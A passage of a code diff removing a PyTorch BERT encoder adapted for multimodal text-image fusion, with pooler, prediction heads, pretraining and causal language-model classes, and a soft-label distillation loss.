-                attention_output = cross_attention_outputs[0]
-                outputs = outputs + cross_attention_outputs[1:-1]
-         
-            else:
-                cross_attention_outputs = self.crossattention(
-                    attention_output,
-                    attention_mask,
-                    head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                    output_attentions=output_attentions,
-                )
-                attention_output = cross_attention_outputs[0]
-                outputs = outputs + cross_attention_outputs[1:-1]  # add cross attentions if we output attention weights                               
-        layer_output = apply_chunking_to_forward(
-            self.feed_forward_chunk, self.chunk_size_feed_forward, self.seq_len_dim, attention_output
-        )
-        outputs = (layer_output,) + outputs
-
-        outputs = outputs + (present_key_value,)
-
-        return outputs
-
-    def feed_forward_chunk(self, attention_output):
-        intermediate_output = self.intermediate(attention_output)
-        layer_output = self.output(intermediate_output, attention_output)
-        return layer_output
-
-
-class BertEncoder(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.config = config
-        self.layer = nn.ModuleList([BertLayer(config,i) for i in range(config.num_hidden_layers)])
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_values=None,
-        use_cache=None,
-        output_attentions=False,
-        output_hidden_states=False,
-        return_dict=True,
-        mode='multi_modal',
-    ):
-        all_hidden_states = () if output_hidden_states else None
-        all_self_attentions = () if output_attentions else None
-        all_cross_attentions = () if output_attentions and self.config.add_cross_attention else None
-
-        next_decoder_cache = () if use_cache else None
-        
-                
-        if mode=='text': 
-            start_layer = 0
-            output_layer = self.config.fusion_layer
-            
-        elif mode=='fusion':
-            start_layer = self.config.fusion_layer
-            output_layer = self.config.num_hidden_layers
-            
-        elif mode=='multi_modal':
-            start_layer = 0
-            output_layer = self.config.num_hidden_layers        
-        
-        for i in range(start_layer, output_layer):
-            layer_module = self.layer[i]
-            if output_hidden_states:
-                all_hidden_states = all_hidden_states + (hidden_states,)
-
-            layer_head_mask = head_mask[i] if head_mask is not None else None
-            past_key_value = past_key_values[i] if past_key_values is not None else None
-
-            if getattr(self.config, "gradient_checkpointing", False) and self.training:
-
-                if use_cache:
-                    logger.warn(
-                        "`use_cache=True` is incompatible with `config.gradient_checkpointing=True`. Setting "
-                        "`use_cache=False`..."
-                    )
-                    use_cache = False
-
-                def create_custom_forward(module):
-                    def custom_forward(*inputs):
-                        return module(*inputs, past_key_value, output_attentions)
-
-                    return custom_forward
-
-                layer_outputs = torch.utils.checkpoint.checkpoint(
-                    create_custom_forward(layer_module),
-                    hidden_states,
-                    attention_mask,
-                    layer_head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                )
-            else:
-                layer_outputs = layer_module(
-                    hidden_states,
-                    attention_mask,
-                    layer_head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                    past_key_value,
-                    output_attentions,
-                )
-
-            hidden_states = layer_outputs[0]
-            if use_cache:
-                next_decoder_cache += (layer_outputs[-1],)
-            if output_attentions:
-                all_self_attentions = all_self_attentions + (layer_outputs[1],)
-
-        if output_hidden_states:
-            all_hidden_states = all_hidden_states + (hidden_states,)
-
-        if not return_dict:
-            return tuple(
-                v
-                for v in [
-                    hidden_states,
-                    next_decoder_cache,
-                    all_hidden_states,
-                    all_self_attentions,
-                    all_cross_attentions,
-                ]
-                if v is not None
-            )
-        return BaseModelOutputWithPastAndCrossAttentions(
-            last_hidden_state=hidden_states,
-            past_key_values=next_decoder_cache,
-            hidden_states=all_hidden_states,
-            attentions=all_self_attentions,
-            cross_attentions=all_cross_attentions,
-        )
-
-
-class BertPooler(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        self.activation = nn.Tanh()
-
-    def forward(self, hidden_states):
-        # We "pool" the model by simply taking the hidden state corresponding
-        # to the first token.
-        first_token_tensor = hidden_states[:, 0]
-        pooled_output = self.dense(first_token_tensor)
-        pooled_output = self.activation(pooled_output)
-        return pooled_output
-
-
-class BertPredictionHeadTransform(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        if isinstance(config.hidden_act, str):
-            self.transform_act_fn = ACT2FN[config.hidden_act]
-        else:
-            self.transform_act_fn = config.hidden_act
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-
-    def forward(self, hidden_states):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.transform_act_fn(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states)
-        return hidden_states
-
-
-class BertLMPredictionHead(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.transform = BertPredictionHeadTransform(config)
-
-        # The output weights are the same as the input embeddings, but there is
-        # an output-only bias for each token.
-        self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
-
-        self.bias = nn.Parameter(torch.zeros(config.vocab_size))
-
-        # Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
-        self.decoder.bias = self.bias
-
-    def forward(self, hidden_states):
-        hidden_states = self.transform(hidden_states)
-        hidden_states = self.decoder(hidden_states)
-        return hidden_states
-
-
-class BertOnlyMLMHead(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.predictions = BertLMPredictionHead(config)
-
-    def forward(self, sequence_output):
-        prediction_scores = self.predictions(sequence_output)
-        return prediction_scores
-
-
-class BertOnlyNSPHead(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.seq_relationship = nn.Linear(config.hidden_size, 2)
-
-    def forward(self, pooled_output):
-        seq_relationship_score = self.seq_relationship(pooled_output)
-        return seq_relationship_score
-
-
-class BertPreTrainingHeads(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.predictions = BertLMPredictionHead(config)
-        self.seq_relationship = nn.Linear(config.hidden_size, 2)
-
-    def forward(self, sequence_output, pooled_output):
-        prediction_scores = self.predictions(sequence_output)
-        seq_relationship_score = self.seq_relationship(pooled_output)
-        return prediction_scores, seq_relationship_score
-
-
-class BertPreTrainedModel(PreTrainedModel):
-    """
-    An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
-    models.
-    """
-
-    config_class = BertConfig
-    load_tf_weights = load_tf_weights_in_bert
-    base_model_prefix = "bert"
-    _keys_to_ignore_on_load_missing = [r"position_ids"]
-
-    def _init_weights(self, module):
-        """ Initialize the weights """
-        if isinstance(module, (nn.Linear, nn.Embedding)):
-            # Slightly different from the TF version which uses truncated_normal for initialization
-            # cf https://github.com/pytorch/pytorch/pull/5617
-            module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
-        elif isinstance(module, nn.LayerNorm):
-            module.bias.data.zero_()
-            module.weight.data.fill_(1.0)
-        if isinstance(module, nn.Linear) and module.bias is not None:
-            module.bias.data.zero_()
-
-
-@dataclass
-class BertForPreTrainingOutput(ModelOutput):
-    """
-    Output type of :class:`~transformers.BertForPreTraining`.
-    Args:
-        loss (`optional`, returned when ``labels`` is provided, ``torch.FloatTensor`` of shape :obj:`(1,)`):
-            Total loss as the sum of the masked language modeling loss and the next sequence prediction
-            (classification) loss.
-        prediction_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
-            Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
-        seq_relationship_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, 2)`):
-            Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
-            before SoftMax).
-        hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
-            Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
-            of shape :obj:`(batch_size, sequence_length, hidden_size)`.
-            Hidden-states of the model at the output of each layer plus the initial embedding outputs.
-        attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
-            Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,
-            sequence_length, sequence_length)`.
-            Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
-            heads.
-    """
-
-    loss: Optional[torch.FloatTensor] = None
-    prediction_logits: torch.FloatTensor = None
-    seq_relationship_logits: torch.FloatTensor = None
-    hidden_states: Optional[Tuple[torch.FloatTensor]] = None
-    attentions: Optional[Tuple[torch.FloatTensor]] = None
-
-
-BERT_START_DOCSTRING = r"""
-    This model inherits from :class:`~transformers.PreTrainedModel`. Check the superclass documentation for the generic
-    methods the library implements for all its model (such as downloading or saving, resizing the input embeddings,
-    pruning heads etc.)
-    This model is also a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`__
-    subclass. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to
-    general usage and behavior.
-    Parameters:
-        config (:class:`~transformers.BertConfig`): Model configuration class with all the parameters of the model.
-            Initializing with a config file does not load the weights associated with the model, only the
-            configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model
-            weights.
-"""
-
-BERT_INPUTS_DOCSTRING = r"""
-    Args:
-        input_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`):
-            Indices of input sequence tokens in the vocabulary.
-            Indices can be obtained using :class:`~transformers.BertTokenizer`. See
-            :meth:`transformers.PreTrainedTokenizer.encode` and :meth:`transformers.PreTrainedTokenizer.__call__` for
-            details.
-            `What are input IDs? <../glossary.html#input-ids>`__
-        attention_mask (:obj:`torch.FloatTensor` of shape :obj:`({0})`, `optional`):
-            Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``:
-            - 1 for tokens that are **not masked**,
-            - 0 for tokens that are **masked**.
-            `What are attention masks? <../glossary.html#attention-mask>`__
-        token_type_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
-            Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0,
-            1]``:
-            - 0 corresponds to a `sentence A` token,
-            - 1 corresponds to a `sentence B` token.
-            `What are token type IDs? <../glossary.html#token-type-ids>`_
-        position_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
-            Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0,
-            config.max_position_embeddings - 1]``.
-            `What are position IDs? <../glossary.html#position-ids>`_
-        head_mask (:obj:`torch.FloatTensor` of shape :obj:`(num_heads,)` or :obj:`(num_layers, num_heads)`, `optional`):
-            Mask to nullify selected heads of the self-attention modules. Mask values selected in ``[0, 1]``:
-            - 1 indicates the head is **not masked**,
-            - 0 indicates the head is **masked**.
-        inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`({0}, hidden_size)`, `optional`):
-            Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation.
-            This is useful if you want more control over how to convert :obj:`input_ids` indices into associated
-            vectors than the model's internal embedding lookup matrix.
-        output_attentions (:obj:`bool`, `optional`):
-            Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned
-            tensors for more detail.
-        output_hidden_states (:obj:`bool`, `optional`):
-            Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for
-            more detail.
-        return_dict (:obj:`bool`, `optional`):
-            Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.
-"""
-
-
-@add_start_docstrings(
-    "The bare Bert Model transformer outputting raw hidden-states without any specific head on top.",
-    BERT_START_DOCSTRING,
-)
-class BertModel(BertPreTrainedModel):
-    """
-    The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
-    cross-attention is added between the self-attention layers, following the architecture described in `Attention is
-    all you need <https://arxiv.org/abs/1706.03762>`__ by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
-    Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
-    argument and :obj:`add_cross_attention` set to :obj:`True`; an :obj:`encoder_hidden_states` is then expected as an
-    input to the forward pass.
-    """
-
-    def __init__(self, config, add_pooling_layer=True):
-        super().__init__(config)
-        self.config = config
-
-        self.embeddings = BertEmbeddings(config)
-        
-        self.encoder = BertEncoder(config)
-
-        self.pooler = BertPooler(config) if add_pooling_layer else None
-
-        self.init_weights()
- 
-
-    def get_input_embeddings(self):
-        return self.embeddings.word_embeddings
-
-    def set_input_embeddings(self, value):
-        self.embeddings.word_embeddings = value
-
-    def _prune_heads(self, heads_to_prune):
-        """
-        Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
-        class PreTrainedModel
-        """
-        for layer, heads in heads_to_prune.items():
-            self.encoder.layer[layer].attention.prune_heads(heads)
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=BaseModelOutputWithPoolingAndCrossAttentions,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    
-    
-    def get_extended_attention_mask(self, attention_mask: Tensor, input_shape: Tuple[int], device: device, is_decoder: bool) -> Tensor:
-        """
-        Makes broadcastable attention and causal masks so that future and masked tokens are ignored.
-
-        Arguments:
-            attention_mask (:obj:`torch.Tensor`):
-                Mask with ones indicating tokens to attend to, zeros for tokens to ignore.
-            input_shape (:obj:`Tuple[int]`):
-                The shape of the input to the model.
-            device: (:obj:`torch.device`):
-                The device of the input to the model.
-
-        Returns:
-            :obj:`torch.Tensor` The extended attention mask, with a the same dtype as :obj:`attention_mask.dtype`.
-        """
-        # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
-        # ourselves in which case we just need to make it broadcastable to all heads.
-        if attention_mask.dim() == 3:
-            extended_attention_mask = attention_mask[:, None, :, :]
-        elif attention_mask.dim() == 2:
-            # Provided a padding mask of dimensions [batch_size, seq_length]
-            # - if the model is a decoder, apply a causal mask in addition to the padding mask
-            # - if the model is an encoder, make the mask broadcastable to [batch_size, num_heads, seq_length, seq_length]
-            if is_decoder:
-                batch_size, seq_length = input_shape
-                seq_ids = torch.arange(seq_length, device=device)
-                causal_mask = seq_ids[None, None, :].repeat(batch_size, seq_length, 1) <= seq_ids[None, :, None]
-                # in case past_key_values are used we need to add a prefix ones mask to the causal mask
-                # causal and attention masks must have same type with pytorch version < 1.3
-                causal_mask = causal_mask.to(attention_mask.dtype)
-
-                if causal_mask.shape[1] < attention_mask.shape[1]:
-                    prefix_seq_len = attention_mask.shape[1] - causal_mask.shape[1]
-                    causal_mask = torch.cat(
-                        [
-                            torch.ones(
-                                (batch_size, seq_length, prefix_seq_len), device=device, dtype=causal_mask.dtype
-                            ),
-                            causal_mask,
-                        ],
-                        axis=-1,
-                    )
-
-                extended_attention_mask = causal_mask[:, None, :, :] * attention_mask[:, None, None, :]
-            else:
-                extended_attention_mask = attention_mask[:, None, None, :]
-        else:
-            raise ValueError(
-                "Wrong shape for input_ids (shape {}) or attention_mask (shape {})".format(
-                    input_shape, attention_mask.shape
-                )
-            )
-
-        # Since attention_mask is 1.0 for positions we want to attend and 0.0 for
-        # masked positions, this operation will create a tensor which is 0.0 for
-        # positions we want to attend and -10000.0 for masked positions.
-        # Since we are adding it to the raw scores before the softmax, this is
-        # effectively the same as removing these entirely.
-        extended_attention_mask = extended_attention_mask.to(dtype=self.dtype)  # fp16 compatibility
-        extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
-        return extended_attention_mask
-    
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        encoder_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_values=None,
-        use_cache=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        is_decoder=False,
-        mode='multi_modal',
-    ):
-        r"""
-        encoder_hidden_states  (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
-            Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
-            the model is configured as a decoder.
-        encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
-            the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
-            - 1 for tokens that are **not masked**,
-            - 0 for tokens that are **masked**.
-        past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
-            Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
-            If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
-            (those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
-            instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
-        use_cache (:obj:`bool`, `optional`):
-            If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
-            decoding (see :obj:`past_key_values`).
-        """
-        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
-        output_hidden_states = (
-            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
-        )
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        if is_decoder:
-            use_cache = use_cache if use_cache is not None else self.config.use_cache
-        else:
-            use_cache = False
-
-        if input_ids is not None and inputs_embeds is not None:
-            raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
-        elif input_ids is not None:
-            input_shape = input_ids.size()
-            batch_size, seq_length = input_shape
-            device = input_ids.device
-        elif inputs_embeds is not None:
-            input_shape = inputs_embeds.size()[:-1]
-            batch_size, seq_length = input_shape
-            device = inputs_embeds.device
-        elif encoder_embeds is not None:    
-            input_shape = encoder_embeds.size()[:-1]
-            batch_size, seq_length = input_shape 
-            device = encoder_embeds.device
-        else:
-            raise ValueError("You have to specify either input_ids or inputs_embeds or encoder_embeds")
-
-        # past_key_values_length
-        past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
-
-        if attention_mask is None:
-            attention_mask = torch.ones(((batch_size, seq_length + past_key_values_length)), device=device)
-        if token_type_ids is None:
-            token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
-
-        # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
-        # ourselves in which case we just need to make it broadcastable to all heads.
-        extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(attention_mask, input_shape, 
-                                                                                 device, is_decoder)
-
-        # If a 2D or 3D attention mask is provided for the cross-attention
-        # we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
-        if encoder_hidden_states is not None:
-            if type(encoder_hidden_states) == list:
-                encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states[0].size()
-            else:
-                encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
-            encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
-            
-            if type(encoder_attention_mask) == list:
-                encoder_extended_attention_mask = [self.invert_attention_mask(mask) for mask in encoder_attention_mask]
-            elif encoder_attention_mask is None:
-                encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
-                encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
-            else:    
-                encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
-        else:
-            encoder_extended_attention_mask = None
-
-        # Prepare head mask if needed
-        # 1.0 in head_mask indicate we keep the head
-        # attention_probs has shape bsz x n_heads x N x N
-        # input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
-        # and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
-        head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
-        
-        if encoder_embeds is None:
-            embedding_output = self.embeddings(
-                input_ids=input_ids,
-                position_ids=position_ids,
-                token_type_ids=token_type_ids,
-                inputs_embeds=inputs_embeds,
-                past_key_values_length=past_key_values_length,
-            )
-        else:
-            embedding_output = encoder_embeds
-            
-        encoder_outputs = self.encoder(
-            embedding_output,
-            attention_mask=extended_attention_mask,
-            head_mask=head_mask,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_extended_attention_mask,
-            past_key_values=past_key_values,
-            use_cache=use_cache,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            mode=mode,
-        )
-        sequence_output = encoder_outputs[0]
-        pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
-
-        if not return_dict:
-            return (sequence_output, pooled_output) + encoder_outputs[1:]
-
-        return BaseModelOutputWithPoolingAndCrossAttentions(
-            last_hidden_state=sequence_output,
-            pooler_output=pooled_output,
-            past_key_values=encoder_outputs.past_key_values,
-            hidden_states=encoder_outputs.hidden_states,
-            attentions=encoder_outputs.attentions,
-            cross_attentions=encoder_outputs.cross_attentions,
-        )
-
-
-@add_start_docstrings(
-    """
-    Bert Model with two heads on top as done during the pretraining: a `masked language modeling` head and a `next
-    sentence prediction (classification)` head.
-    """,
-    BERT_START_DOCSTRING,
-)
-class BertForPreTraining(BertPreTrainedModel):
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config)
-        self.cls = BertPreTrainingHeads(config)
-
-        self.init_weights()
-
-    def get_output_embeddings(self):
-        return self.cls.predictions.decoder
-
-    def set_output_embeddings(self, new_embeddings):
-        self.cls.predictions.decoder = new_embeddings
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @replace_return_docstrings(output_type=BertForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        labels=None,
-        next_sentence_label=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape ``(batch_size, sequence_length)``, `optional`):
-            Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
-            config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
-            (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
-        next_sentence_label (``torch.LongTensor`` of shape ``(batch_size,)``, `optional`):
-            Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
-            (see :obj:`input_ids` docstring) Indices should be in ``[0, 1]``:
-            - 0 indicates sequence B is a continuation of sequence A,
-            - 1 indicates sequence B is a random sequence.
-        kwargs (:obj:`Dict[str, any]`, optional, defaults to `{}`):
-            Used to hide legacy arguments that have been deprecated.
-        Returns:
-        Example::
-            >>> from transformers import BertTokenizer, BertForPreTraining
-            >>> import torch
-            >>> tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
-            >>> model = BertForPreTraining.from_pretrained('bert-base-uncased')
-            >>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
-            >>> outputs = model(**inputs)
-            >>> prediction_logits = outputs.prediction_logits
-            >>> seq_relationship_logits = outputs.seq_relationship_logits
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        sequence_output, pooled_output = outputs[:2]
-        prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
-
-        total_loss = None
-        if labels is not None and next_sentence_label is not None:
-            loss_fct = CrossEntropyLoss()
-            masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
-            next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
-            total_loss = masked_lm_loss + next_sentence_loss
-
-        if not return_dict:
-            output = (prediction_scores, seq_relationship_score) + outputs[2:]
-            return ((total_loss,) + output) if total_loss is not None else output
-
-        return BertForPreTrainingOutput(
-            loss=total_loss,
-            prediction_logits=prediction_scores,
-            seq_relationship_logits=seq_relationship_score,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-
-@add_start_docstrings(
-    """Bert Model with a `language modeling` head on top for CLM fine-tuning. """, BERT_START_DOCSTRING
-)
-class BertLMHeadModel(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-    _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
-
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.cls = BertOnlyMLMHead(config)
-
-        self.init_weights()
-
-    def get_output_embeddings(self):
-        return self.cls.predictions.decoder
-
-    def set_output_embeddings(self, new_embeddings):
-        self.cls.predictions.decoder = new_embeddings
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @replace_return_docstrings(output_type=CausalLMOutputWithCrossAttentions, config_class=_CONFIG_FOR_DOC)
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        labels=None,
-        past_key_values=None,
-        use_cache=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        is_decoder=True,
-        reduction='mean',
-        mode='multi_modal',
-        soft_labels=None,
-        alpha=0,
-        return_logits=False,        
-    ):
-        r"""
-        encoder_hidden_states  (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
-            Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
-            the model is configured as a decoder.
-        encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
-            the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
-            - 1 for tokens that are **not masked**,
-            - 0 for tokens that are **masked**.
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
-            ``[-100, 0, ..., config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are
-            ignored (masked), the loss is only computed for the tokens with labels n ``[0, ..., config.vocab_size]``
-        past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
-            Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
-            If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
-            (those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
-            instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
-        use_cache (:obj:`bool`, `optional`):
-            If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
-            decoding (see :obj:`past_key_values`).
-        Returns:
-        Example::
-            >>> from transformers import BertTokenizer, BertLMHeadModel, BertConfig
-            >>> import torch
-            >>> tokenizer = BertTokenizer.from_pretrained('bert-base-cased')
-            >>> config = BertConfig.from_pretrained("bert-base-cased")
-            >>> model = BertLMHeadModel.from_pretrained('bert-base-cased', config=config)
-            >>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
-            >>> outputs = model(**inputs)
-            >>> prediction_logits = outputs.logits
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-        if labels is not None:
-            use_cache = False
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_attention_mask,
-            past_key_values=past_key_values,
-            use_cache=use_cache,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            is_decoder=is_decoder,
-            mode=mode,
-        )
-        
-        sequence_output = outputs[0]
-        prediction_scores = self.cls(sequence_output)
-        
-        if return_logits:
-            return prediction_scores[:, :-1, :].contiguous()  
-
-        lm_loss = None
-        if labels is not None:
-            # we are doing next-token prediction; shift prediction scores and input ids by one
-            shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
-            labels = labels[:, 1:].contiguous()
-            loss_fct = CrossEntropyLoss(reduction=reduction)
-            lm_loss = loss_fct(shifted_prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
-            lm_loss = lm_loss.view(prediction_scores.size(0),-1).sum(1)
-            
-        if soft_labels is not None:
-            loss_distill = -torch.sum(F.log_softmax(shifted_prediction_scores, dim=-1)*soft_labels,dim=-1)
-            loss_distill = (loss_distill * (labels!=-100)).sum(1)
-            lm_loss = (1-alpha)*lm_loss + alpha*loss_distill                    
-
-        if not return_dict:
-            output = (prediction_scores,) + outputs[2:]
-            return ((lm_loss,) + output) if lm_loss is not None else output
-
-        return CausalLMOutputWithCrossAttentions(
-            loss=lm_loss,
-            logits=prediction_scores,
-            past_key_values=outputs.past_key_values,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-            cross_attentions=outputs.cross_attentions,
-        )
-
-    def prepare_inputs_for_generation(self, input_ids, past=None, attention_mask=None, **model_kwargs):
-        input_shape = input_ids.shape
-        # if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
